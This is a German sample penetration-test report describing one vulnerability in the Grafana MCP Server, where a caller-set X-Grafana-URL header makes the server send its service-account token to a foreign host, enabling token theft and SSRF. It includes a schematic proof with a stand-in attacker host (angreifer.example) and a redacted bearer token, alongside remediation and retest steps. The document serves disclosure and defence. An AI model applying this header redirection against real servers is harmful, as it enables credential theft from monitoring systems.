Pentest-Bericht Beispiel: so sieht Ihr Bericht nach einem Penetrationstest aus.

Das Wichtigste für die Geschäftsführung

Geprüft wurde, wie ein KI-Assistent über den Grafana MCP Server auf Ihr Monitoring zugreift. Der wichtigste Befund: Ein Angreifer hätte die Zugangsdaten zu Ihrem Monitoring an einen eigenen Server umleiten können, ohne Passwort und ohne dass jemand aus Ihrem Team etwas anklicken muss. Mit diesen Zugangsdaten hätte er alles gesehen, was das hinterlegte Dienstkonto in Grafana sehen darf, und er hätte den Server Anfragen an interne Dienste stellen lassen können. Gesamteinschätzung: hohes Risiko (CVSS 8.6), inzwischen behoben. Wichtigste Empfehlung: auf Version 0.17.2 oder neuer aktualisieren und das Zugangs-Token des Dienstkontos erneuern.

Alle Befunde auf einen Blick

Sortiert nach Schwere. In diesem Muster steht bewusst nur ein Befund: der echte, öffentlich dokumentierte. Wir erfinden keine weiteren, um die Tabelle zu füllen.

So lesen Sie die Schwere

Die Stufen folgen der Einteilung von CVSS 3.1. Die Fristen sind unsere Empfehlung; im Bericht passen wir sie an Ihren Betrieb an.

CS42-01: Zugangsdaten folgen einer vom Aufrufer gesetzten URL

Beschreibung

Der Grafana MCP Server verbindet KI-Assistenten mit Grafana. Seine Zugangsdaten bekommt er aus der Umgebung, in der er läuft: das Token eines Grafana-Dienstkontos, gegebenenfalls auch einen API-Schlüssel, Basic-Auth oder zusätzliche Header. Welche Grafana-Adresse er anspricht, ließ sich zusätzlich pro Anfrage über den Header X-Grafana-URL festlegen. Bis Version 0.17.1 schickte der Server seine Zugangsdaten an jede Adresse, die in diesem Header stand, auch an eine fremde.

Auswirkung

Geschäftlich: Wer den MCP-Server erreicht, braucht kein Passwort. Eine einzige Anfrage genügt, und der Server liefert ihm den Schlüssel zu Ihrem Monitoring aus. Damit sieht der Angreifer, was das Dienstkonto sehen darf, etwa Dashboards, Messwerte und Datenquellen, und je nach dessen Rechten mehr.

Technisch: Der Server handelt mit seinen eigenen Rechten auf ein Ziel, das der Aufrufer bestimmt (Confused Deputy). Laut CVE-Eintrag erlaubt das einem nicht angemeldeten Angreifer aus dem Netz, das Dienstkonto-Token abzuziehen, und zusätzlich SSRF gegen beliebige interne Dienste, einschließlich der Metadaten-Endpunkte von Cloud-Umgebungen. Der Vektor sagt dasselbe in Kurzform: erreichbar übers Netz, geringe Komplexität, keine Rechte, keine Mitwirkung eines Nutzers nötig, Wirkung über den MCP-Server hinaus, hoher Verlust an Vertraulichkeit.

Nachweis (schematisch)

Öffentlich zeigen wir den Ablauf, keinen einsatzfähigen Angriffscode. Im echten Bericht steht der vollständige, reproduzierbare Nachweis für Ihr Entwicklerteam, durchgeführt mit Testkonten im vereinbarten Umfang.

# eingehend: Anfrage an den MCP-Server (schematisch)
X-Grafana-URL: https://angreifer.example

# ausgehend: Anfrage des MCP-Servers
→ https://angreifer.example/api/…
  Authorization: Bearer ████████████████  # Dienstkonto-Token, geschwärzt

# erwartet: Anfrage nur an die konfigurierte Grafana-URL

Empfehlung, nach Dringlichkeit

1. 1Sofort: Grafana MCP Server auf 0.17.2 oder neuer aktualisieren.
2. 2Sofort: das Token des Dienstkontos erneuern, weil sich nicht ausschließen lässt, dass es bereits abgeflossen ist.
3. 3Kurzfristig: dem Dienstkonto nur die Rechte geben, die der Assistent wirklich braucht, etwa nur lesend.
4. 4Kurzfristig: den MCP-Server nicht offen ins Netz stellen und seine ausgehenden Verbindungen auf die eigene Grafana-Instanz begrenzen.
5. 5Prüfen: in den Grafana-Protokollen nach Zugriffen des Dienstkontos aus unbekannter Herkunft suchen.

Referenzen

Behebung in 0.17.2 bestätigt

Im Kundenauftrag wiederholen wir den Nachweis aus Kapitel 03 gegen die korrigierte Version. Für dieses Muster stützt sich der Stand auf die Release-Notes von 0.17.2 (13.07.2026): Die Zugangsdaten sind an die konfigurierte Grafana-URL gebunden. Eine Adresse im Header X-Grafana-URL führt nicht mehr dazu, dass sie an einen fremden Host gehen.

Grundlage in diesem Muster sind die Release-Notes von Version 0.17.2 vom 13.07.2026, die genau diese vier Arten von Zugangsdaten nennen. In Ihrem Bericht steht hier der wiederholte Nachweis gegen Ihre aktualisierte Installation, mit Datum.

Wie geprüft wurde

1. 1Umfang schriftlich vereinbart. Systeme, Zeitraum, Ansprechpartner und Grenzen stehen vor dem ersten Test fest. Geprüft wird nur, was dort steht.
2. 2Testkonten statt Echtdaten. Wir arbeiten mit Konten und Daten, die der Auftraggeber dafür bereitstellt.
3. 3Manuelle Prüfung der Vertrauensgrenzen. Wir fragen an jeder Schnittstelle: Wer bestimmt das Ziel, mit wessen Rechten, mit welchen Daten? Werkzeuge helfen beim Suchen, die Bewertung macht ein Mensch.
4. 4Nachweis je Befund. Kein Befund ohne ausgeführten Nachweis. Was sich nicht nachweisen lässt, steht als Hinweis im Bericht, nicht als Befund.
5. 5Bewertung nach CVSS 3.1 mit vollständigem Vektor, damit Ihr Team jede Einstufung nachrechnen kann.
6. 6Nachtest. Nach Ihrer Behebung prüfen wir jeden Befund erneut und tragen das Ergebnis mit Datum ein.

CyberSec42 ist eine unabhängige technische Sicherheitsprüfung, keine akkreditierte Zertifizierungsstelle. Jede Prüfung ist im schriftlich vereinbarten Umfang autorisiert. Ein Bericht beschreibt den Stand im geprüften Umfang zum Prüfzeitpunkt; er ist keine Zusage, dass ein System frei von Schwachstellen ist.